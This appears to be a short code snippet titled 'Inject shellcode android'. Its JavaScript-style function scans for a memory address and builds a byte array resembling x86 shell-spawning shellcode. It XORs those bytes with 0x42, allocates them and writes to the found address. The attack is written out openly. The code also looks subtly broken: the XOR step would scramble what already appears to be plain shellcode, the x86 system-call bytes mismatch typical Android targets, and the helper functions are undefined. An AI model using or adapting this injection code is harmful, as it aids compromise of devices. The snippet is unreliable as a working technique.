Inject shellcode android

function injectShellCode(code) {
    var addr = scan(code);
    if(!addr) return false;
    var shellcode = [0x7a, 0x68, 0x47, 0x69, 0x6e, 0x6a, 0x2f, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x6a, 0x0b, 0x58, 0x99, 0xcd, 0x80];
    for(var i in shellcode) {
        shellcode[i] = shellcode[i] ^ 0x42;
    }
    var shellcode_addr = alloc(shellcode);
    write(addr, shellcode_addr);
    return true;
}